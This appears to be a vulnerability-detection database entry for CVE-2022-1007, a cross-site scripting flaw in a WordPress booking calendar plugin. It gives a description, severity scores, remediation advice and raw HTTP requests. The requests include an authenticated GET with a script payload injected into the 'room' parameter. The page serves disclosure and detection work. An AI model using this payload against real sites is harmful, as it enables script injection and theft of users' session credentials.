🔙 목록으로 돌아가기

CVE-2022-1007: WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting

TitleWordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting
Author8arthur
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the user.
RemediationUpdate to WordPress Advanced Booking Calendar plugin version 1.7.1 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.03683
CVE IDCVE-2022-1007
CWE IDCWE-79
Tags cve cve2022 wp-plugin advanced-booking-calendar wp authenticated wpscan wordpress xss elbtide vuln

🔍 Vulnerability Description

WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=wFdBYk&pwd=231WmC&wp-submit=Log+In
GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1007.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1007.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A